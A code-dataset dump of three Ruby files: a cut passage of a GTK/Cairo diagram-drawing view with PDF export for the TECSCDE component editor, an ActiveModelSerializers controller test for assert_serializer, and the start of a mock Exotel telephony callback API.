@pango_layout = Pango::Layout.new @pango_context
@pango_matrix = Pango::Matrix.new.rotate!( 90 )
end
def paint_canvas
clearCanvasPixmap
#----- draw cells -----#
@model.get_cell_list.each{ |cell|
drawCell cell
}
#----- draw joins -----#
# draw linew before draw texts (if other colors are used, it is better to lay texts upper side)
@model.get_join_list.each{ |join|
drawJoin join
}
refresh_canvas
end
def refresh_canvas
@gdkWindow.draw_drawable( @canvasGc, @canvasPixmap, 0, 0, 0, 0, @canvas_width, @canvas_height )
draw_hilite_objects @control.get_hilite_objs
end
def resize_canvas
@canvas_height = Integer( mm2dot @model.get_paper[ :height ] )
@canvas_width = Integer( mm2dot @model.get_paper[ :width ] )
@canvas.set_size_request( @canvas_width, @canvas_height )
# @scrolledWindow.queue_draw
end
def clearCanvasPixmap
@canvasGc.function = Gdk::GC::SET
@canvasGc.fill = Gdk::GC::SOLID
@canvasGc.foreground = Gdk::Color.new( 255, 255, 255 )
@canvasPixmap.draw_rectangle( @canvasGc, true, 0, 0, @canvas_width, @canvas_height )
canvasGC_reset
# p "color = #{@canvasGc.foreground.red}, #{@canvasGc.foreground.green}, #{@canvasGc.foreground.blue}"
end
def set_cursor cursor
@canvas.window.cursor = cursor
end
#=== TmView#drawTargetDirect
#change draw target to Window
def drawTargetDirect
# @drawTarget = @gdkWindow
# @cairo_context_target = @cairo_context_win
end
#=== TmView#drawTargetReset
#reset draw target to canvasPixmap
def drawTargetReset
# @drawTarget = @canvasPixmap
# @cairo_context_target = @cairo_context_pixmap
end
#------ HBox ------#
def createHBox
@hbox = Gtk::HBox.new
#----- emphasize_cell_name button -----#
@emphasize_cell_name_button = Gtk::ToggleButton.new( "Emphasize Cell Name" )
@emphasize_cell_name_button.signal_connect("toggled") { |button|
@b_emphasize_cell_name = button.active?
paint_canvas
}
@hbox.pack_start @emphasize_cell_name_button
#----- color by region button -----#
#@color_by_region_button = Gtk::ToggleButton.new( "Color by Region" )
@color_by_region_button = Gtk::CheckButton.new( "Color by Region" )
@color_by_region_button.signal_connect("toggled") { |button|
@b_color_by_region = button.active?
# @color_by_region_button.label = button.active? ? "Color by File" : "Color by Region"
paint_canvas
}
@hbox.pack_start @color_by_region_button
@hbox.pack_end @hScale
end
#------ HScale ------#
def createHScale
@scale_val = ScaleValIni
@hScale = Gtk::HScale.new( ScaleValMin, ScaleValMax, 1 )
@hScale.set_digits 0 # 小数点以下
@hScale.set_value @scale_val
@hScale.set_size_request( @mainWindowWidth, ScaleHeight )
@hScale.signal_connect( "value-changed" ){ |scale_self, scroll_type|
# set scale_val in the range [ScaleValMin..ScaleValMax]
scale_val = scale_self.value
if scale_val > ScaleValMax
scale_val = ScaleValMax
elsif scale_val < ScaleValMin
scale_val = ScaleValMin
end
@scale_val = scale_val
dbgPrint "scale_val=#{@scale_val}\n"
resize_canvas
paint_canvas
}
end
#------ Draw Contents on CANVAS ------#
def drawCell cell
#----- calc position in dot -----#
x, y, w, h = cell.get_geometry
x1 = mm2dot x
y1 = mm2dot y
x2 = mm2dot( x + w )
y2 = mm2dot( y + h )
w1 = mm2dot( w )
h1 = mm2dot( h )
#----- paint cell -----#
color = get_cell_paint_color cell
# @canvasGc.set_foreground color
# @drawTarget.draw_rectangle( @canvasGc, true, x1, y1, w1, h1 )
@cairo_context_target.rectangle(x1, y1, w1, h1)
@cairo_context_target.set_source_color( color )
@cairo_context_target.fill
#----- setup color -----#
if ! cell.is_editable?
# @canvasGc.set_foreground @@colors[ Color_uneditable ]
@cairo_context_target.set_source_color @@colors[ Color_uneditable ]
else
# @canvasGc.set_foreground @@colors[ Color_editable ]
@cairo_context_target.set_source_color @@colors[ Color_editable ]
end
#----- draw cell rect -----#
# @drawTarget.draw_rectangle( @canvasGc, false, x1, y1, w1, h1 )
# @cairo_context_target.rectangle(x1, y1, w1, h1)
@cairo_context_target.rectangle(x1+0.5, y1+0.5, w1, h1)
@cairo_context_target.set_line_width(1)
@cairo_context_target.stroke
gap = mm2dot GapActive
gap = 2 if gap < 2 # if less than 2 dots, let gap 2 dots
if cell.get_celltype && cell.get_celltype.is_active? then
# @drawTarget.draw_rectangle( @canvasGc, false, x1 + gap, y1 + gap, w1 - 2 * gap, h1 - 2 * gap )
@cairo_context_target.rectangle(x1 + gap + 0.5, y1 + gap + 0.5, w1 - 2 * gap, h1 - 2 * gap)
@cairo_context_target.set_line_width(1)
@cairo_context_target.stroke
end
#----- draw entry ports triangle -----#
cell.get_eports.each{ |name, eport|
if ! eport.is_array?
draw_entry_port_triangle( eport )
else
if cell.is_editable? && eport.is_unsubscripted_array?
# @canvasGc.set_foreground @@colors[ :brown ]
@cairo_context_target.set_source_color @@colors[ :brown ]
end
# EPortArray
eport.get_ports.each{ |ep|
draw_entry_port_triangle( ep )
}
if cell.is_editable? && eport.is_unsubscripted_array?
# @canvasGc.set_foreground @@colors[ Color_editable ]
@cairo_context_target.set_source_color @@colors[ Color_editable ]
end
end
}
#----- draw cell name & celltype name -----#
cell_name = cell.get_name
ct_name = cell.get_celltype.get_name
label = cell_name.to_s + "\n" + ct_name.to_s
if ! cell.complete?
# @canvasGc.set_foreground @@colors[ Color_incomplete ]
@cairo_context_target.set_source_color @@colors[ Color_incomplete ]
end
# draw_text( x1 + w1/2, y1+h1/2, label, CELL_NAME, ALIGN_CENTER, TEXT_HORIZONTAL )
if @b_emphasize_cell_name
wmn, hmn = get_text_extent( cell_name.to_s, CELL_NAME_L, ALIGN_CENTER, TEXT_HORIZONTAL )
if wmn > w
s1, s2 = divString cell_name.to_s
draw_text( x1 + w1/2, y1+ h1/2 - mm2dot(hmn)/2, s1, CELL_NAME_L, ALIGN_CENTER, TEXT_HORIZONTAL )
draw_text( x1 + w1/2, y1+ h1/2 + mm2dot(hmn)/2, s2, CELL_NAME_L, ALIGN_CENTER, TEXT_HORIZONTAL )
else
draw_text( x1 + w1/2, y1+h1/2, cell_name.to_s, CELL_NAME_L, ALIGN_CENTER, TEXT_HORIZONTAL )
end
else
wmn, hmn = get_text_extent( cell_name.to_s, CELL_NAME, ALIGN_CENTER, TEXT_HORIZONTAL )
draw_text( x1 + w1/2, y1+h1/2 + mm2dot(hmn)/2, cell_name.to_s, CELL_NAME, ALIGN_CENTER, TEXT_HORIZONTAL )
draw_text( x1 + w1/2, y1+h1/2 - mm2dot(hmn)/2, ct_name.to_s, CELLTYPE_NAME, ALIGN_CENTER, TEXT_HORIZONTAL )
end
#----- draw port name -----#
(cell.get_cports.merge cell.get_eports).each{ |name,port|
if ! port.is_array?
set_port_color port, cell
draw_port_name( port )
else
#--- prot array ---#
port.get_ports.each{ |pt|
set_port_color pt, cell
draw_port_name( pt )
}
end
}
canvasGC_reset
end
#=== set_port_color
def set_port_color port, cell
if port.complete?
if cell.is_editable?
color_name = Color_editable
else
color_name = Color_uneditable
end
else
if port.kind_of?( TECSModel::TmCPort ) && ! port.is_optional?
color_name = Color_incomplete
else
color_name = Color_unjoin
end
end
# @canvasGc.set_foreground @@colors[ color_name ]
@cairo_context_target.set_source_color @@colors[ color_name ]
end
def draw_entry_port_triangle( eport )
triangle_1_2 = mm2dot Triangle_Len / 2
triangle_hi = mm2dot Triangle_Height
x1, y1 = eport.get_position
xe = mm2dot x1
ye = mm2dot y1
case eport.get_edge_side
when TECSModel::EDGE_TOP
points = [[xe-triangle_1_2, ye], [xe+triangle_1_2, ye], [xe, ye+triangle_hi]]
when TECSModel::EDGE_BOTTOM
points = [[xe-triangle_1_2, ye], [xe+triangle_1_2, ye], [xe, ye-triangle_hi]]
when TECSModel::EDGE_LEFT
points = [[xe, ye-triangle_1_2], [xe, ye+triangle_1_2], [xe+triangle_hi,ye]]
when TECSModel::EDGE_RIGHT
points = [[xe, ye-triangle_1_2], [xe, ye+triangle_1_2], [xe-triangle_hi,ye]]
end
# fill = true
# @drawTarget.draw_polygon( @canvasGc, fill, points )
@cairo_context_target.triangle( *points[0], *points[1], *points[2] )
@cairo_context_target.fill
end
def draw_port_name( port )
x1, y1 = port.get_position
xp = mm2dot x1
yp = mm2dot y1
case port.get_edge_side
when TECSModel::EDGE_TOP
alignment = ALIGN_LEFT
direction = TEXT_VERTICAL
when TECSModel::EDGE_BOTTOM
alignment = ALIGN_RIGHT
direction = TEXT_VERTICAL
when TECSModel::EDGE_LEFT
alignment = ALIGN_RIGHT
direction = TEXT_HORIZONTAL
when TECSModel::EDGE_RIGHT
xp += 2
alignment = ALIGN_LEFT
direction = TEXT_HORIZONTAL
end
name = port.get_name.to_s
if port.get_subscript != nil
name += "[#{port.get_subscript}]"
end
name = port.get_name.to_s
subscript = port.get_subscript
if subscript
if subscript >= 0
name += "[#{subscript}]"
end
end
draw_text( xp, yp, name, PORT_NAME, alignment, direction )
end
#=== TView#draw_hilite_objects
def draw_hilite_objects obj_list
obj_list.each{|obj|
if obj.kind_of? TECSModel::TmCell
drawCellRectDirect obj
# drawTargetDirect
# drawCell obj
# drawTargetReset
elsif obj.kind_of? TECSModel::TmPort
drawPortDirect obj
elsif obj.kind_of? TECSModel::TmJoinBar
drawBarDirect obj
end
}
end
#=== TView#drawCellRectDirect
# directly draw on Window hilited cell rect
def drawCellRectDirect cell
drawTargetDirect
#----- set line width -----#
canvasGC_set_line_width 2
# @cairo_context_target.set_line_width(2)
#----- if uneditable change color ------#
if ! cell.is_editable?
@canvasGc.set_foreground( @@colors[ Color_uneditable ] )
# @cairo_context_target.set_source_color( @@colors[ Color_uneditable ] )
end
#----- calc position in dot -----#
x, y, w, h = cell.get_geometry
x1 = mm2dot x
y1 = mm2dot y
w1 = mm2dot( w )
h1 = mm2dot( h )
#----- draw cell rect -----#
@gdkWindow.draw_rectangle( @canvasGc, false, x1, y1, w1, h1 )
# @cairo_context_target.rectangle(x1, y1, w1, h1)
# @cairo_context_target.stroke
#----- reset GC, line width -----#
canvasGC_reset
canvasGC_set_line_width 1
drawTargetReset
end
def drawPortDirect port
drawTargetDirect
#----- set line width -----#
@canvasGc.set_foreground( @@colors[ Color_hilite ] )
# @cairo_context_target.set_source_color( @@colors[ Color_hilite ] )
draw_port_name port
if port.kind_of? TECSModel::TmEPort
draw_entry_port_triangle( port )
end
canvasGC_set_line_width 2
x, y = port.get_position
x1 = x2 = mm2dot x
y1 = y2 = mm2dot y
case port.get_edge_side
when TECSModel::EDGE_TOP
y1 -= 20
when TECSModel::EDGE_BOTTOM
y2 += 20
when TECSModel::EDGE_LEFT
x1 -= 20
when TECSModel::EDGE_RIGHT
x2 += 20
end
@gdkWindow.draw_line( @canvasGc, x1, y1, x2, y2 )
# @cairo_context_target.move_to( x1, y1 )
# @cairo_context_target.line_to( x2, y2 )
#----- reset GC, line width -----#
canvasGC_reset
canvasGC_set_line_width 1
drawTargetReset
end
def drawJoin join
cport, eport, bars = join.get_ports_bars
x, y = cport.get_position
xm = mm2dot( x ) + 0.5
ym = mm2dot( y ) + 0.5
#----- setup color -----#
if ! join.is_editable?
# @canvasGc.set_foreground @@colors[ Color_uneditable ]
@cairo_context_target.set_source_color( @@colors[ Color_uneditable ] )
end
@cairo_context_target.move_to xm, ym
#----- draw bars -----#
bars.each{ |bar|
if bar.instance_of? TECSModel::HBar then
xm2 = mm2dot( bar.get_position ) + 0.5
# @drawTarget.draw_line( @canvasGc, xm, ym, xm2, ym )
@cairo_context_target.line_to xm2, ym
xm = xm2
else # VBar
ym2 = mm2dot( bar.get_position ) + 0.5
# @drawTarget.draw_line( @canvasGc, xm, ym, xm, ym2 )
@cairo_context_target.line_to xm, ym2
ym = ym2
end
}
@cairo_context_target.set_line_width(1)
@cairo_context_target.stroke
#----- draw signature name -----#
if eport.get_joins[0] == join
# draw only 1st entry port join
if ( eport.get_subscript == nil || eport.get_subscript == 0 ) &&
( join.get_cport.get_subscript == nil || join.get_cport.get_subscript == 0 )
if bars[2].instance_of? TECSModel::VBar
xm = mm2dot( (bars[1].get_position + bars[3].get_position)/2 )
ym = mm2dot( bars[2].get_position + 2 )
else
xm = mm2dot( (bars[0].get_position + bars[2].get_position)/2 )
ym = mm2dot( bars[1].get_position + 2 )
end
draw_text( xm, ym, join.get_signature.get_name.to_s, SIGNATURE_NAME, ALIGN_CENTER, TEXT_HORIZONTAL )
end
end
canvasGC_reset
end
#=== TView#drawBarDirect
# directly draw on Window
def drawBarDirect bar
drawTargetDirect
join = bar.get_join
cport, eport, bars = join.get_ports_bars
x, y = cport.get_position
xm = mm2dot x
ym = mm2dot y
canvasGC_set_line_width 2
bars.each{ |bar2|
if @control.get_hilite_objs.include? bar2
color = @@colors[Color_hilite]
elsif join.is_editable?
color = @@colors[Color_editable]
else
color = @@colors[Color_uneditable]
end
@canvasGc.foreground = color
@cairo_context_target.set_source_color color
if bar2.instance_of? TECSModel::HBar then
xm2 = mm2dot( bar2.get_position )
@gdkWindow.draw_line( @canvasGc, xm, ym, xm2, ym )
xm = xm2
else # VBar
ym2 = mm2dot( bar2.get_position )
@gdkWindow.draw_line( @canvasGc, xm, ym, xm, ym2 )
ym = ym2
end
}
canvasGC_set_line_width 1
canvasGC_reset
drawTargetReset
end
#----- draw and utility for text -----#
def get_text_extent( text, obj_type, alignment, direction )
if direction != TEXT_VERTICAL then
pc = @pango_context
plo = @pango_layout
pc.matrix = nil
plo.text = text.to_s
pfd = pc.font_description
pfd.absolute_size = font_size( obj_type )
plo.font_description = pfd
plo.alignment = alignment
# plo.context_changed # ??
rect2 = plo.get_pixel_extents[1]
return [ dot2mm(rect2.rbearing), dot2mm(rect2.descent) ]
else
pc = @pango_context
plo = @pango_layout
pm = @pango_matrix
pc.matrix = pm
plo.text = text.to_s
pfd = pc.font_description
pfd.absolute_size = font_size( obj_type )
plo.font_description = pfd
plo.alignment = alignment
# plo.context_changed
rect2 = plo.get_pixel_extents[1]
return [ dot2mm(rect2.descent), dot2mm(rect2.rbearing) ]
end
end
#x::Integer(dot)
#y::Integer(dot)
#obj_type::CELL_NAME, SIGNATURE_NAME, PORT_NAME
#alignment::ALIGN_CENTER, ALIGN_LEFT
def draw_text( x, y, text, obj_type, alignment, direction )
if direction == TEXT_VERTICAL then
draw_text_v( x, y, text, obj_type, alignment )
else
draw_text_h( x, y, text, obj_type, alignment )
end
end
def draw_text_h( x, y, text, obj_type, alignment )
# draw_text_h_gdk( x, y, text, obj_type, alignment )
draw_text_h_cairo( x, y, text, obj_type, alignment )
# draw_text_h_cairo_pango( x, y, text, obj_type, alignment )
end
def draw_text_h_gdk( x, y, text, obj_type, alignment )
#----- Gdk Pango version -----#
pc = @pango_context
plo = @pango_layout
pc.matrix = nil
plo.text = text
pfd = pc.font_description
pfd.absolute_size = font_size( obj_type )
plo.font_description = pfd
plo.alignment = alignment
# plo.context_changed # ??
rect2 = plo.get_pixel_extents[1]
case alignment
when ALIGN_CENTER
# calc text draww postion
x2 = x - rect2.rbearing / 2
y2 = y - rect2.descent / 2
when ALIGN_RIGHT
x2 = x - rect2.rbearing - mm2dot( GapPort )
y2 = y - rect2.descent
when ALIGN_LEFT
x2 = x + mm2dot( GapPort )
y2 = y - rect2.descent
end
# pfd = Pango::FontDescription.new
# p pfd.size, pfd.variant, pfd.family
# rect = plo.get_pixel_extents[0]
# p rect.ascent, rect.descent, rect.lbearing, rect.rbearing
# p rect2.ascent, rect2.descent, rect2.lbearing, rect2.rbearing
@drawTarget.draw_layout( @canvasGc, x2, y2, plo )
end
#----- Cairo version -----#
def draw_text_h_cairo( x, y, text, obj_type, alignment )
cr = @cairo_context_target
cr.select_font_face( font_family = nil, # "courier", # font_family = "Times New Roman",
font_slant = Cairo::FONT_SLANT_NORMAL,
font_weight = Cairo::FONT_WEIGHT_NORMAL )
cr.set_font_size( font_size( obj_type ) / 1000 )
cr_te = cr.text_extents(text)
# p "width=#{cr_te.width} x_bearing=#{cr_te.x_bearing} height=#{cr_te.height} y_bearing=#{cr_te.y_bearing}"
case alignment
when ALIGN_CENTER
# calc text draww postion
x2 = x - ( cr_te.width + cr_te.x_bearing ) / 2
y2 = y - ( cr_te.y_bearing ) / 2
when ALIGN_RIGHT
x2 = x - cr_te.width - cr_te.x_bearing - mm2dot( GapPort )
y2 = y - cr_te.height - cr_te.y_bearing - 2
when ALIGN_LEFT
x2 = x + mm2dot( GapPort )
y2 = y - cr_te.height - cr_te.y_bearing - 2
end
cr.move_to(x2, y2)
cr.show_text(text)
end
#----- Cairo Pango version -----#
def draw_text_h_cairo_pango( x, y, text, obj_type, alignment )
cr = @cairo_context_target
# pfd = Pango::FontDescription.new( "Times" )
pfd = Pango::FontDescription.new
pfd.absolute_size = font_size( obj_type )
plo = cr.create_pango_layout
plo.font_description = pfd
plo.alignment = alignment
plo.set_text text
rect2 = plo.get_pixel_extents[1]
case alignment
when ALIGN_CENTER
# calc text draww postion
x2 = x - rect2.rbearing / 2
y2 = y - rect2.descent / 2
when ALIGN_RIGHT
x2 = x - rect2.rbearing - mm2dot( GapPort )
y2 = y - rect2.descent
when ALIGN_LEFT
x2 = x + mm2dot( GapPort )
y2 = y - rect2.descent
end
cr.move_to(x2, y2)
cr.show_pango_layout( plo )
end
#x::Integer(dot)
#y::Integer(dot)
#obj_type::CELL_NAME, SIGNATURE_NAME, PORT_NAME
#alignment::ALIGN_CENTER, ALIGN_LEFT
def draw_text_v( x, y, text, obj_type, alignment )
# draw_text_v_gdk( x, y, text, obj_type, alignment )
draw_text_v_cairo( x, y, text, obj_type, alignment )
# draw_text_v_cairo_pango( x, y, text, obj_type, alignment )
end
#----- Gdk Pango version -----#
def draw_text_v_gdk( x, y, text, obj_type, alignment )
pc = @pango_context
plo = @pango_layout
pm = @pango_matrix
pc.matrix = pm
plo.text = text
pfd = pc.font_description
pfd.absolute_size = font_size( obj_type )
plo.font_description = pfd
plo.alignment = alignment
# plo.context_changed
rect2 = plo.get_pixel_extents[1]
case alignment
when ALIGN_CENTER
# calc text draww postion
x2 = x - rect2.descent / 2
y2 = y - rect2.rbearing / 2
when ALIGN_RIGHT
x2 = x - rect2.descent
y2 = y + mm2dot( GapPort )
when ALIGN_LEFT
x2 = x - rect2.descent
y2 = y - rect2.rbearing - mm2dot( GapPort )
end
@drawTarget.draw_layout( @canvasGc, x2, y2, plo )
end
#----- Cairo version -----#
def draw_text_v_cairo( x, y, text, obj_type, alignment )
cr = @cairo_context_target
cr.select_font_face( font_family = nil, # "courier", # font_family = "Times New Roman",
font_slant = Cairo::FONT_SLANT_NORMAL,
font_weight = Cairo::FONT_WEIGHT_NORMAL )
cr.set_font_size( font_size( obj_type ) / 1000 )
cr_te = cr.text_extents(text)
# p "width=#{cr_te.width} x_bearing=#{cr_te.x_bearing} height=#{cr_te.height} y_bearing=#{cr_te.y_bearing}"
case alignment
when ALIGN_CENTER # this case is not used & not checked
# calc text draww postion
x2 = x - 2
y2 = y - ( cr_te.width + cr_te.x_bearing ) / 2
when ALIGN_RIGHT
x2 = x - 2
y2 = y + cr_te.width + cr_te.x_bearing + mm2dot( GapPort )
when ALIGN_LEFT
x2 = x - 2
y2 = y - mm2dot( GapPort )
end
@cairo_matrix.set_rotate90( x2, y2 ) # rotate around (0, 0) then shift (x2, y2)
cr.matrix = @cairo_matrix
cr.move_to(0, 0) # this assumes that (0, 0) is left bottom of strings
cr.show_text(text)
@cairo_matrix.set_rotate0
cr.matrix = @cairo_matrix
end
#----- Cairo Pango version -----#
def draw_text_v_cairo_pango( x, y, text, obj_type, alignment )
cr = @cairo_context_target
# pfd = Pango::FontDescription.new( "Times" )
pfd = Pango::FontDescription.new
pfd.absolute_size = font_size( obj_type )
# p "font_size=#{font_size( obj_type )}"
plo = cr.create_pango_layout
plo.font_description = pfd
plo.alignment = alignment
plo.set_text text
rect2 = plo.get_pixel_extents[1]
# p "descent=#{rect2.descent}, rbearing=#{rect2.rbearing}"
case alignment
when ALIGN_CENTER
# calc text draww postion
x2 = x - rect2.descent / 2
y2 = y - rect2.rbearing / 2
when ALIGN_RIGHT
x2 = x
y2 = y + rect2.rbearing + mm2dot( GapPort )
when ALIGN_LEFT
x2 = x
y2 = y - mm2dot( GapPort )
end
matrix = Cairo::Matrix.new( 0, -1, 1, 0, x2, y2 )
cr.matrix = matrix
cr.move_to(0, 0) # this assumes that (0, 0) is left bottom of strings
cr.show_text(text)
cr.matrix = Cairo::Matrix.new( 1, 0, 0, 1, 0, 0 )
end
#---------- Cell name editor ---------#
def create_edit_window
@entry = Gtk::Entry.new
@entry.set_has_frame true
@entryWin = Gtk::Window.new Gtk::Window::TOPLEVEL
@entryWin.add @entry
@entryWin.realize
@entryWin.window.reparent @canvas.window, 0, 0 # Gdk level operation
# these steps are to avoid to move ( 0, 0 ) at 1st appear
@entryWin.show_all
@entryWin.hide
end
def begin_edit_name cell, time
@entry.set_text cell.get_name
x, y, w, h = get_cell_name_edit_area cell
# p "x=#{x} y=#{y} w=#{w} h=#{h}"
@entryWin.window.move( x - 3, y - 6 ) # Gdk level operation
@entryWin.window.resize( w + 6, h + 8 ) # Gdk level operation
@entryWin.show_all
end
def end_edit_name
name = @entry.text
@entryWin.hide
return name
end
def get_cell_name_edit_area cell
name = cell.get_name
obj_type = CELL_NAME
alignment = ALIGN_CENTER
direction = TEXT_HORIZONTAL
wmn, hmn = get_text_extent( name, obj_type, alignment, direction )
xm, ym, wm, hm = cell.get_geometry
x = mm2dot( xm + ( wm - wmn ) / 2 )
y = mm2dot( ym + hm / 2 + 1 )
# y = mm2dot( ym + hm / 2 - hmn )
w = mm2dot wmn
h = mm2dot hmn
return [ x, y, w, h ]
end
#------ Convert Unit ------#
#=== convert mm to dot
def mm2dot mm
( @scale_val * mm * DPI / 25.4 / 100 ).to_i
end
#=== convert dot to mm
def dot2mm dot
dot * 100 * 25.4 / DPI / @scale_val
end
#=== font_size
# obj_type::Integer CELL_NAME, SIGNATURE_NAME, PORT_NAME
def font_size obj_type
case obj_type
when CELL_NAME
base_size = 10500
when CELLTYPE_NAME
base_size = 10500
when CELL_NAME_L
base_size = 16000
when SIGNATURE_NAME
base_size = 9000
when PORT_NAME
base_size = 9000
when PAPER_COMMENT
base_size = 10500
end
base_size * @scale_val / 100.0 * DPI / 96.0
end
#------ handle CanvasGC ------#
def canvasGC_reset
@canvasGc.function = Gdk::GC::COPY
@canvasGc.fill = Gdk::GC::SOLID
@canvasGc.foreground = @@colors[Color_editable]
@cairo_context_target.restore
@cairo_context_target.save # prepare for next time
@cairo_context_target.matrix = @cairo_matrix
end
def canvasGC_set_line_width width
line_attr = @canvasGc.line_attributes
line_width = line_attr[0]
line_attr[0] = width
@canvasGc.set_line_attributes *line_attr
end
def self.setup_colormap
if @@colors != nil
return
end
@@colors = {}
@@colormap = Gdk::Colormap.system
[ :black, :white, :gray, :yellow, :orange, :skyblue, :magenta, :red, :blue, :green,
:cyan, :brown, :violet, :lavender, :MistyRose, :lightyellow, :LightCyan, :Beige,
:PapayaWhip, :Violet, :pink ].each{ |color_name|
setup_colormap_1 color_name
}
setup_colormap_2 :ultraLightGreen, Gdk::Color.new( 0xE000, 0xFF00, 0xE000 )
setup_colormap_1 Color_editable_cell
@@cell_paint_colors = [ :MistyRose, :lightyellow, :LightCyan, :ultraLightGreen, :lavender, :Beige,
:PapayaWhip, :Violet, :pink ]
# plum: light purble (pastel)
# pink: light magenta (pastel)
# lavender: light blue (pastel)
# lightyellow: light yellow (pastel)
@@cell_paint_color_index = 0
@@cell_file_to_color = {}
end
def self.setup_colormap_1 name
color = Gdk::Color.parse( name.to_s )
self.setup_colormap_2 name, color
end
def self.setup_colormap_2 name, color
@@colors[ name ] = color
@@colormap.alloc_color( color, false, true )
end
#----- cell paint colors -----#
def get_cell_paint_color cell
if @b_color_by_region
region = cell.get_region
color = @@cell_file_to_color[ region ]
if color
return color
end
obj = region
else
tecsgen_cell= cell.get_tecsgen_cell
if tecsgen_cell == nil || cell.is_editable?
return @@colors[ Color_editable_cell ]
end
file = tecsgen_cell.get_locale[0]
color = @@cell_file_to_color[ file ]
if color
return color
end
obj = file
end
if @@cell_paint_color_index >= @@cell_paint_colors.length
@@cell_paint_color_index = 0
end
col_name = @@cell_paint_colors[ @@cell_paint_color_index ]
@@cell_file_to_color[ obj ] = @@colors[ col_name ]
@@cell_paint_color_index += 1
# p "col_name:#{col_name} index:#{@@cell_paint_color_index}"
return @@colors[ col_name ]
end
#------ export ------#
def export fname
begin
if File.exist?(fname)
File.unlink fname
end
rescue => evar
TECSCDE.message_box( "fail to remove #{fname}\n#{evar.to_s}", :OK )
return
end
scale_val_bak = @scale_val
@scale_val = 72.0 / TECSCDE::DPI * 100 # PDF surface = 72 DPI, mm2dot assume 100 DPI by default
target_bak = @cairo_context_target
paper = Cairo::Paper.const_get( @model.get_paper[ :name ] )
paper_width = paper.width( "pt" ) - mm2dot( PAPER_MARGIN * 2 )
paper_height = paper.height( "pt" ) - mm2dot( PAPER_MARGIN * 2 )
begin
surface = Cairo::PDFSurface.new( fname, paper.width( "pt" ), paper.height( "pt" ) )
@cairo_context_target = Cairo::Context.new surface
#----- set paper margin -----#
@cairo_matrix.set_base_shift( mm2dot( PAPER_MARGIN ), mm2dot( PAPER_MARGIN ) )
@cairo_context_target.matrix = @cairo_matrix
#----- clip in rectangle frame -----#
@cairo_context_target.rectangle( 0, 0, paper_width, paper_height )
@cairo_context_target.clip false # preserve = false
@cairo_context_target.save # (* pair *) # must be saved initially
#----- draw contents of PDF -----#
paint_canvas
#----- draw model name -----#
draw_text( paper_width, paper_height, @model.get_file_editing, PAPER_COMMENT, ALIGN_RIGHT, TEXT_HORIZONTAL )
#----- draw rectangle frame around paper -----#
@cairo_context_target.rectangle( 0, 0, paper_width, paper_height)
@cairo_context_target.stroke
#----- complete PDF file -----#
surface.finish
#----- reset context -----#
# cairo_context_target: unnecessary because the context is abandoned after this
# @cairo_matrix.set_base_shift( 0, 0 )
# @cairo_context_target.matrix = @cairo_matrix
# @cairo_context_target.restore # (* pair *)
rescue => evar
p evar
TECSCDE.message_box( "fail to writ to #{fname}\n#{evar.to_s}", :OK )
ensure
@cairo_context_target = target_bak
@cairo_matrix.set_base_shift( 0, 0 )
@scale_val = scale_val_bak
if surface
surface.finish
end
end
paint_canvas
end
#=== MainView#divString
# divide string near center at A-Z or '_'
def divString( str )
len = str.length
if len <= 4
return [ str, "" ]
end
center = len / 2
i = 0
n = 0
while( (center / 2 > i) && (i < center) && (str[ center + i ] != nil) )
char_i = str[ center - i ]
char_j = str[ center + i ]
if char_j == Char__ || (Char_A <= char_j && char_j <= Char_Z)
n = center + i
break
elsif (Char_A <= char_i && char_i <= Char_Z)
n = center - i
break
elsif char_i == Char__
n = center - i + 1
break
end
i += 1
end
if n > 0
return [ str[ 0, n ], str[ n, len ] ]
else
return [ str[ 0, len / 2 ], str[ len / 2, len ] ]
end
end
end # class MainView
#== MyCairoMatrix
# this class is necessary for draw_text_v_cairo & totally shift when writing PDF
class MyCairoMatrix < Cairo::Matrix
def initialize
@base_x = 0
@base_y = 0
super( 1, 0, 0, 1, 0, 0 )
end
def set(xx, yx, xy, yy, x0, y0)
x0 += @base_x
y0 += @base_y
super
end
#=== MyCairoMatrix#set_rotate0
# no rotate, then shift (x, y)
def set_rotate0( x = 0, y = 0 )
set(1, 0, 0, 1, x, y )
self
end
#=== MyCairoMatrix#set_rotate90
# rotate 90 around (0, 0) then shift (x, y)
def set_rotate90( x, y )
set(0, -1, 1, 0, x, y )
self
end
def set_base_shift( x, y )
@base_x = x
@base_y = y
set_rotate0
end
end
end
| 32.576923 | 117 | 0.588253 |
38dc60ba1d4c93fed935666b6cfd3dd62bc59cb4 | 1,945 | require 'test_helper'
module ActiveModelSerializers
module Test
class SerializerTest < ActionController::TestCase
include ActiveModelSerializers::Test::Serializer
class MyController < ActionController::Base
def render_using_serializer
render json: Profile.new(name: 'Name 1', description: 'Description 1', comments: 'Comments 1')
end
def render_some_text
render(plain: 'ok')
end
end
tests MyController
def test_supports_specifying_serializers_with_a_serializer_class
get :render_using_serializer
assert_serializer ProfileSerializer
end
def test_supports_specifying_serializers_with_a_regexp
get :render_using_serializer
assert_serializer(/\AProfile.+\Z/)
end
def test_supports_specifying_serializers_with_a_string
get :render_using_serializer
assert_serializer 'ProfileSerializer'
end
def test_supports_specifying_serializers_with_a_symbol
get :render_using_serializer
assert_serializer :profile_serializer
end
def test_supports_specifying_serializers_with_a_nil
get :render_some_text
assert_serializer nil
end
def test_raises_descriptive_error_message_when_serializer_was_not_rendered
get :render_using_serializer
e = assert_raise ActiveSupport::TestCase::Assertion do
assert_serializer 'PostSerializer'
end
assert_match 'expecting <"PostSerializer"> but rendering with <["ProfileSerializer"]>', e.message
end
def test_raises_argument_error_when_asserting_with_invalid_object
get :render_using_serializer
e = assert_raise ArgumentError do
assert_serializer Hash
end
assert_match 'assert_serializer only accepts a String, Symbol, Regexp, ActiveModel::Serializer, or nil', e.message
end
end
end
end
| 30.873016 | 122 | 0.717224 |
61b63ce059d65e99b889b9bb70ed3d92d9f6bd73 | 6,190 | require_relative 'config_helpers'
module Mock
module Client
class Exotel < Grape::API
helpers ConfigHelpers
desc 'Dumps status to a file. Which can be used later to validate'
post '/status_callback' do
data = params
filename_part = params[:CallSid] || "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
params
end
desc 'Gather API'
get '/programmable_gather' do
data = params
filename_part = "gather_applet"|| "no-sid-#{Time.now}"
File.open("./callback_json/#{filename_part}.json","a+") {|f| f.puts data.to_json}
{
"gather_prompt": {
"audio_url": params[:gather_prompt_audio]
},
"max_input_digits": params[:max_input_digits],
"finish_on_key": params[:finish_on_key],
"input_timeout": params[:input_timeout],
"repeat_menu": params[:repeat_menu],
"repeat_gather_prompt": {
"audio_url": params[:repeat_gather_prompt_audio],
}
}
end
@@c=-1
@@b=0
